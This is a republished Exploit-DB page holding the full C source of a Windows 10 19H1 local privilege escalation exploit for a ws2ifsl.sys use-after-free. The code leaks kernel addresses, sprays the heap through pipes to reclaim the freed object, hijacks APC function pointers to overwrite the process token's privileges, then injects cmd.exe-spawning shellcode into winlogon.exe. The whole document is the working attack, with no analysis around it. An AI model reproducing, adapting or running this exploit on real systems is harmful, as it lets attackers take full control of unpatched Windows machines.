Microsoft Windows 10 (19H1 1901 x64) – ‘ws2ifsl.sys’ Use After Free Local Privilege Escalation (kASLR kCFG SMEP)

  • 作者: bluefrostsec
    日期: 2020-01-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47935/
  • /*
    The exploit works on 19H1.
    It was tested with ntoskrnl version 10.0.18362.295
    
    EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47935.zip
    */
    
    #include <Windows.h>
    #include <stdio.h>
    #include <string>
    #include <ntstatus.h>
    #include <processthreadsapi.h>
    #include <winternl.h>
    #include <tlhelp32.h>
    
    #pragma comment(lib, "ntdll.lib")
    
    // run cmd.exe
    unsigned char shellcode[] =
    "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
    "\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
    "\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
    "\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
    "\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
    "\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
    "\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
    "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
    "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
    "\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
    "\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
    "\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
    "\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
    "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
    "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
    "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
    "\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
    "\x78\x65\x00";
    
    static const unsigned int shellcode_len = 0x1000;
    
    #define MAXIMUM_FILENAME_LENGTH 255 
    #define SystemModuleInformation0xb
    #define SystemHandleInformation 0x10
    
    typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
    {
    	ULONG ProcessId;
    	UCHAR ObjectTypeNumber;
    	UCHAR Flags;
    	USHORT Handle;
    	void* Object;
    	ACCESS_MASK GrantedAccess;
    } SYSTEM_HANDLE, * PSYSTEM_HANDLE;
    
    typedef struct _SYSTEM_HANDLE_INFORMATION
    {
    	ULONG NumberOfHandles;
    	SYSTEM_HANDLE Handels[1];
    } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
    
    typedef struct SYSTEM_MODULE {
    	ULONGReserved1;
    	ULONGReserved2;
    #ifdef _WIN64
    	ULONG				Reserved3;
    #endif
    	PVOIDImageBaseAddress;
    	ULONGImageSize;
    	ULONGFlags;
    	WORD Id;
    	WORD Rank;
    	WORD w018;
    	WORD NameOffset;
    	CHAR Name[MAXIMUM_FILENAME_LENGTH];
    }SYSTEM_MODULE, * PSYSTEM_MODULE;
    
    typedef struct SYSTEM_MODULE_INFORMATION {
    	ULONGModulesCount;
    	SYSTEM_MODULEModules[1];
    } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
    
    // exploit specific type information 
    typedef struct _FILE_FULL_EA_INFORMATION {
    	ULONG NextEntryOffset;		// +0x0
    	UCHAR Flags;				// +4
    	UCHAR EaNameLength;			// +5
    	USHORT EaValueLength;		// +6
    	CHAR EaName[1];				// +9
    } FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;
    
    typedef struct _PROC_DATA {
    	HANDLE apcthread;				// +0x0
    	void* unknown1;				// +0x8
    	void* unknown2;				// +0x10
    	void* unknown3;				// +0x18
    	void* unknown4;				// +0x20
    } PROC_DATA, * PPROC_DATA;
    
    typedef struct _SOCK_DATA {
    	HANDLE unknown;				// +0x0
    	HANDLE procDataHandle;	// +0x8	
    } SOCK_DATA, * PSOCK_DATA;
    
    // undocumented apis definitions 
    
    typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle,
    	HANDLE Event,
    	PIO_APC_ROUTINE ApcRoutine,
    	PVOID ApcContext,
    	PIO_STATUS_BLOCK IoStatusBlock,
    	PVOID Buffer,
    	ULONG Length,
    	PLARGE_INTEGER ByteOffset,
    	PULONG key);
    
    typedef NTSTATUS(WINAPI* NtTestAlert_t)(void);
    
    typedef NTSTATUS(WINAPI* RtlGetVersion_t)(PRTL_OSVERSIONINFOW lpVersionInformation);
    
    // resolved function pointers at runtime
    NtTestAlert_t g_NtTestAlert = 0;
    NtWriteFile_t g_NtWriteFile = 0;
    RtlGetVersion_t g_RtlGetVersion = 0;
    
    HANDLE	g_Event1 = NULL;
    HANDLE	g_Event2 = NULL;
    HANDLE	g_Event3 = NULL;
    
    int g_done1 = 0;
    int g_done2 = 0;
    
    #define TOKEN_OFFSET 0x40			//_SEP_TOKEN_PRIVILEGES offset
    #define OFFSET_LINKEDLIST 0xA8		//kthread apc offset
    
    // generic helper function
    
    void InjectToWinlogon()
    {
    	PROCESSENTRY32 entry;
    	entry.dwSize = sizeof(PROCESSENTRY32);
    
    	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    
    	int pid = -1;
    	if (Process32First(snapshot, &entry))
    	{
    		while (Process32Next(snapshot, &entry))
    		{			
    			if (_strcmpi(entry.szExeFile, "winlogon.exe") == 0)
    			{
    				pid = entry.th32ProcessID;
    				break;
    			}
    		}
    	}
    
    	CloseHandle(snapshot);
    
    	if (pid < 0)
    	{
    		printf("Could not find process\n");
    		return;
    	}
    
    	HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    	if (!h)
    	{
    		printf("Could not open process: %x", GetLastError());
    		return;
    	}
    	
    	void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	if (!buffer)
    	{
    		printf("[-] VirtualAllocEx failed\n");
    	}
    	
    	if (!buffer)
    	{
    		printf("[-] remote allocation failed");
    		return;
    	}
    
    	if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
    	{
    		printf("[-] WriteProcessMemory failed");
    		return;
    	}
    
    	HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
    
    	if (hthread == INVALID_HANDLE_VALUE)
    	{
    		printf("[-] CreateRemoteThread failed");
    		return;
    	}
    }
    
    HMODULE GetNOSModule()
    {
    	HMODULE hKern = 0;
    	hKern = LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
    	return hKern;
    }
    
    DWORD64 GetModuleAddr(const char* modName)
    {
    	PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);
    
    	DWORD outBuffer = 0;
    	NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);
    
    	if (status == STATUS_INFO_LENGTH_MISMATCH)
    	{
    		free(buffer);
    		buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer);
    		status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer);
    	}
    
    	if (!buffer)
    	{
    		printf("[-] NtQuerySystemInformation error\n");
    		return 0;
    	}
    
    	for (unsigned int i = 0; i < buffer->ModulesCount; i++)
    	{
    		PVOID kernelImageBase = buffer->Modules[i].ImageBaseAddress;
    		PCHAR kernelImage = (PCHAR)buffer->Modules[i].Name;		
    		if (_stricmp(kernelImage, modName) == 0)
    		{
    			free(buffer);
    			return (DWORD64)kernelImageBase;
    		}
    	}
    	free(buffer);
    	return 0;
    }
    
    
    DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
    {
    	PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(0x20);
    
    	DWORD outBuffer = 0;
    	NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);
    
    	if (status == STATUS_INFO_LENGTH_MISMATCH)
    	{
    		free(buffer);
    		buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(outBuffer);
    		status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
    	}
    
    	if (!buffer)
    	{
    		printf("[-] NtQuerySystemInformation error \n");
    		return 0;
    	}
    
    	for (size_t i = 0; i < buffer->NumberOfHandles; i++)
    	{
    		DWORD objTypeNumber = buffer->Handels[i].ObjectTypeNumber;
    
    		if (buffer->Handels[i].ProcessId == GetCurrentProcessId() && buffer->Handels[i].ObjectTypeNumber == type)
    		{
    			if (handle == (HANDLE)buffer->Handels[i].Handle)
    			{
    				//printf("%p %d %x\n", buffer->Handels[i].Object, buffer->Handels[i].ObjectTypeNumber, buffer->Handels[i].Handle);
    				DWORD64 object = (DWORD64)buffer->Handels[i].Object;
    				free(buffer);
    				return object;
    			}
    		}
    	}
    	printf("[-] handle not found\n");
    	free(buffer);
    	return 0;
    }
    
    DWORD64 GetGadgetAddr(const char* name)
    {
    	DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe");
    	HMODULE mod = GetNOSModule();
    	if (!mod)
    	{
    		printf("[-] leaking ntoskrnl version\n");
    		return 0;
    	}
    	DWORD64 offset = (DWORD64)GetProcAddress(mod, name);
    
    	DWORD64 returnValue = base + offset - (DWORD64)mod;
    	FreeLibrary(mod);
    	return returnValue;
    }
    
    /*	
    	After the bug is triggerd the first thime, this threads gets notified and it will trigger its function pointer,
    	which will call our gadget function and write the first 8 bytes.
    */
    DWORD WINAPI APCThread1(LPVOID lparam)
    {
    	SetEvent(g_Event1);
    	while (1)
    	{
    		if (g_done1)
    		{
    			printf("[+] triggering first APC execution\n");
    			
    			g_NtTestAlert();		
    
    			while (1)
    			{
    				Sleep(0x1000);
    			}
    		}
    		else
    		{
    			Sleep(1);
    		}
    	}
    	return 0;
    }
    
    /*
    	After the bug is triggerd the second thime, this threads gets notified and it will trigger its function pointer again and write the second 8 bytes.
    	After that the shellcode is injected into the system process.
    */
    DWORD WINAPI APCThread2(LPVOID lparam)
    {
    	SetEvent(g_Event2);
    	while (1)
    	{
    		if (g_done2)
    		{
    			printf("[+] triggering second APC execution\n");
    						
    			g_NtTestAlert();
    
    			InjectToWinlogon();
    			SetEvent(g_Event3);
    
    			while (1)
    			{
    				Sleep(0x1000);
    			}
    		}
    		else
    		{
    			Sleep(1);
    		}
    	}
    	return 0;
    }
    
    HANDLE CreateSocketHandle(HANDLE procHandle)
    {
    	HANDLE fileHandle = 0;
    	UNICODE_STRING deviceName;
    	OBJECT_ATTRIBUTES object;
    	IO_STATUS_BLOCK IoStatusBlock;
    
    	RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct");
    
    	InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);
    
    	FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SOCK_DATA));
    	if (!eaBuffer)
    	{
    		printf("[-] malloc error\n");
    		return fileHandle;
    	}
    	eaBuffer->NextEntryOffset = 0;
    	eaBuffer->Flags = 0;
    	eaBuffer->EaNameLength = sizeof("NifsSct") - 1;
    	eaBuffer->EaValueLength = sizeof(SOCK_DATA);
    
    	RtlCopyMemory(eaBuffer->EaName, "NifsSct", (SIZE_T)eaBuffer->EaNameLength + 1);
    
    	SOCK_DATA * eaData = (SOCK_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4);
    
    	eaData->unknown = (void*) 0x242424224;
    	eaData->procDataHandle = (void*) procHandle;
    
    	NTSTATUS status = NtCreateFile(&fileHandle, GENERIC_WRITE, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(PROC_DATA));
    	if (status != STATUS_SUCCESS)
    	{
    		printf("[-] NtCreateFile error: %x \n", status);
    		free(eaBuffer);
    		return fileHandle;
    	}
    
    	free(eaBuffer);
    	return fileHandle;
    }
    
    HANDLE CreateProcessHandle(HANDLE hAPCThread)
    {
    	HANDLE fileHandle = 0;
    	UNICODE_STRING deviceName;
    	OBJECT_ATTRIBUTES object;
    	IO_STATUS_BLOCK IoStatusBlock;
    
    	RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd");
    
    	InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);
    
    	FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
    	if (!eaBuffer)
    	{
    		printf("[-] malloc error\n");
    		return fileHandle;
    	}
    	eaBuffer->NextEntryOffset = 0;
    	eaBuffer->Flags = 0;
    	eaBuffer->EaNameLength = sizeof("NifsPvd") - 1;
    	eaBuffer->EaValueLength = sizeof(PROC_DATA);
    
    	RtlCopyMemory(eaBuffer->EaName, "NifsPvd", (SIZE_T)eaBuffer->EaNameLength + 1);
    	PROC_DATA * eaData = (PROC_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);
    
    	if (!hAPCThread)
    	{
    		printf("[-] error thread not found\n");
    		free(eaBuffer);
    		return 0;
    	}
    
    	eaData->apcthread = (void*) hAPCThread;		// thread must be in current process
    	eaData->unknown1 = (void*) 0x2222222;		// APC Routine
    	eaData->unknown2 = (void*) 0x3333333;		// cancel Rundown Routine
    	eaData->unknown3 = (void*) 0x4444444;
    	eaData->unknown4 = (void*) 0x5555555;
    
    	NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
    	if (status != STATUS_SUCCESS)
    	{
    		printf("[-] NtCreateFile error: %x \n", status);
    		free(eaBuffer);
    		return fileHandle;
    	}
    
    	free(eaBuffer);
    	return fileHandle;
    }
    
    int DoHeapSpray(DWORD64 writeAddress, DWORD64 kthreadAddress)
    {	
    	DWORD64 nopPointer = GetGadgetAddr("xHalTimerWatchdogStop");
    	if (!nopPointer)
    	{
    		printf("[-] SeSetAccessStateGenericMapping not found\n");
    		return 0;
    	}
    
    	DWORD64 funPointer = GetGadgetAddr("SeSetAccessStateGenericMapping");
    	if (!funPointer)
    	{
    		printf("[-] SeSetAccessStateGenericMapping not found\n");
    		return 0;
    	}	
    
    	UCHAR payload[0x120 - 0x48];
    	memset(payload, 0x0, sizeof(payload));	 
    		
    	DWORD64 x = 0x41414141414141;				
    	memcpy(payload, &x, 8);
    	
    	x = 0x12121212;								
    	memcpy(payload + 8, &x, 8);
    	
    	x = kthreadAddress + OFFSET_LINKEDLIST;		// apc linked list 
    	memcpy(payload + 0x10, &x, 8);
    	
    	x = kthreadAddress + OFFSET_LINKEDLIST;
    	memcpy(payload + 0x18, &x, 8);
    	
    	x = funPointer;
    	memcpy(payload + 0x20, &x, 8);				// this is the RIP we want to execute, in case of NtTestAlert
    
    	x = nopPointer;
    	memcpy(payload + 0x28, &x, 8);				// this is the RIP we want to execute, in case of rundown routine 
    	
    	x = 0xffffffffffffffff;						// this is to be written
    	memcpy(payload + 0x30, &x, 8);
    	
    	x = 0xffffffffffffffff;						// this is to be written, but it gets changed..
    	memcpy(payload + 0x38, &x, 8);
    	
    	x = 0x2424242424242424;
    	memcpy(payload + 0x40, &x, 8);
    	
    	x = writeAddress;							// this is where to write 
    	memcpy(payload + 0x48, &x, 8);
     
    	for (size_t i = 0; i < 0x70; i++)
    	{
    		HANDLE readPipe;
    		HANDLE writePipe;
    		DWORD resultLength = 0;
    	
    		BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));
    		if (!res)
    		{
    			printf("[-] error creating pipe\n");
    			return 0;
    		}
    		res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);
    	}
    
    	return 1;
    }
    
    /*
    	This function will trigger the use after free in ws2ifsl.sys and
    	will try to reallocate the buffer with controlled content.
    */
    void TriggerBug(HANDLE threadHandle, DWORD64 writeAddress, DWORD64 kthreadAddress, int id)
    {
    	HANDLE procHandle = CreateProcessHandle(threadHandle);
    	printf("[!] procHandle %x\n", (DWORD)procHandle);
    
    	HANDLE sockHandle = CreateSocketHandle(procHandle);
    	printf("[!] sockHandle %x\n", (DWORD)sockHandle);
    
    	char* readBuffer = (char*)malloc(0x100);
    	DWORD bytesRead = 0;
    
    	IO_STATUS_BLOCK io;
    	LARGE_INTEGER byteOffset;
    	byteOffset.HighPart = 0;
    	byteOffset.LowPart = 0;
    	byteOffset.QuadPart = 0;
    	byteOffset.u.LowPart = 0;
    	byteOffset.u.HighPart = 0;
    	ULONG key = 0;
    
    	CloseHandle(procHandle);
    
    	NTSTATUS ret = g_NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key);
    
    	// this close the objecte and we trigger the use after free
    	CloseHandle(sockHandle);
    
    	// this spray will reclaim the buffer
    	if (!DoHeapSpray(writeAddress, kthreadAddress))
    	{
    		printf("[-] error doHeapSpray\n");
    		return;
    	}
    
    	if (id == 1)
    	{
    		g_done1 = 1;
    	}
    
    	if (id == 2)
    	{
    		g_done2 = 1;
    	}
    
    	printf("[+] done\n");
    	Sleep(0x20);
    	free(readBuffer);
    
    	return;
    }
    
    /*
    	This function resolves all function pointer for native api calls.
    */
    bool InitFunctionPointers()
    {
    	HMODULE hNtDll = NULL;
    	hNtDll = LoadLibrary("ntdll.dll");
    	if (!hNtDll)
    	{
    		printf("error\n");
    		return false;
    	}
    
    	g_NtTestAlert = (NtTestAlert_t)GetProcAddress(hNtDll, "NtTestAlert");
    	if (!g_NtTestAlert)
    	{
    		printf("error\n");
    		return false;
    	}
    
    	g_NtWriteFile = (NtWriteFile_t)GetProcAddress(hNtDll, "NtWriteFile");
    	if (!g_NtWriteFile)
    	{
    		printf("[-] GetProcAddress() NtWriteFile failed.\n");
    		return false;
    	}
    
    	g_RtlGetVersion = (RtlGetVersion_t)GetProcAddress(hNtDll, "RtlGetVersion");
    	if (!g_NtWriteFile)
    	{
    		printf("[-] GetProcAddress() RtlGetVersion failed.\n");
    		return false;
    	}
    
    	return true;
    }
    
    int main()
    {
    	// intialize event for thread synchronization
    	g_Event1 = CreateEvent(0, 0, 0, 0);
    	g_Event2 = CreateEvent(0, 0, 0, 0);
    	g_Event3 = CreateEvent(0, 0, 0, 0);
    
    	if (g_Event1 == INVALID_HANDLE_VALUE || !g_Event1)
    	{
    		printf("[-] CreateEvent failed\n");
    		return 0;
    	}
    	if (g_Event2 == INVALID_HANDLE_VALUE || !g_Event2)
    	{
    		printf("[-] CreateEvent failed\n");
    		return 0;
    	}
    	if (g_Event3 == INVALID_HANDLE_VALUE || !g_Event2)
    	{
    		printf("[-] CreateEvent failed\n");
    		return 0;
    	}
    
    	if (!InitFunctionPointers())
    	{
    		printf("[-] InitFunctionPointers failed\n");
    		return 0;
    	}
    
    	HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
    	if (!proc)
    	{
    		printf("[-] OpenProcess failed\n");
    		return 0;
    	}
    	HANDLE token = 0;
    	if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token))
    	{
    		printf("[-] OpenProcessToken failed\n");
    		return 0;
    	}	
    
    	DWORD64 ktoken = GetKernelPointer(token, 0x5);
    	DWORD64 where = ktoken + TOKEN_OFFSET;
    
    	printf("[+] found token at: %p\n", (DWORD64) ktoken);
    
    
    	// check the supported version of this exploit, otherwise we would crash
    	RTL_OSVERSIONINFOW osversion;
    	g_RtlGetVersion(&osversion);
    	
    	if (osversion.dwMajorVersion == 10 && osversion.dwBuildNumber == 18362)
    	{
    		printf("[+] version supported\n");
    	}
    	else
    	{
    		printf("[-] sorry version not supported\n");
    		return 0;
    	}
    
    	HANDLE hAPCThread1 = CreateThread(0, 0, APCThread1, 0, 0, 0);
    	if (hAPCThread1 == INVALID_HANDLE_VALUE || !hAPCThread1)
    	{
    		printf("[-] error CreateThread\n");
    		return 0;
    	}
    
    	HANDLE hAPCThread2 = CreateThread(0, 0, APCThread2, 0, 0, 0);
    	if (hAPCThread2 == INVALID_HANDLE_VALUE || !hAPCThread2)
    	{
    		printf("[-] error CreateThread\n");
    		return 0;
    	}
    		
    	DWORD64 threadAddrAPC1 = GetKernelPointer(hAPCThread1, 0x8);
    	if (!threadAddrAPC1)
    	{
    		printf("[-] GetKernelPointer error \n");
    		return 0;
    	}
    	DWORD64 threadAddrAPC2 = GetKernelPointer(hAPCThread2, 0x8);
    	if (!threadAddrAPC2)
    	{
    		printf("[-] GetKernelPointer error \n");
    		return 0;
    	}
    
    	// wait for threads to be initialized
    	WaitForSingleObject(g_Event1, -1);
    	WaitForSingleObject(g_Event2, -1);
    
    	TriggerBug(hAPCThread1, where-8, threadAddrAPC1, 1);
    	TriggerBug(hAPCThread2, where, threadAddrAPC2, 2);
    
    	WaitForSingleObject(g_Event3, -1);
    	
    	ExitProcess(0);
    	
    	return 0;
    }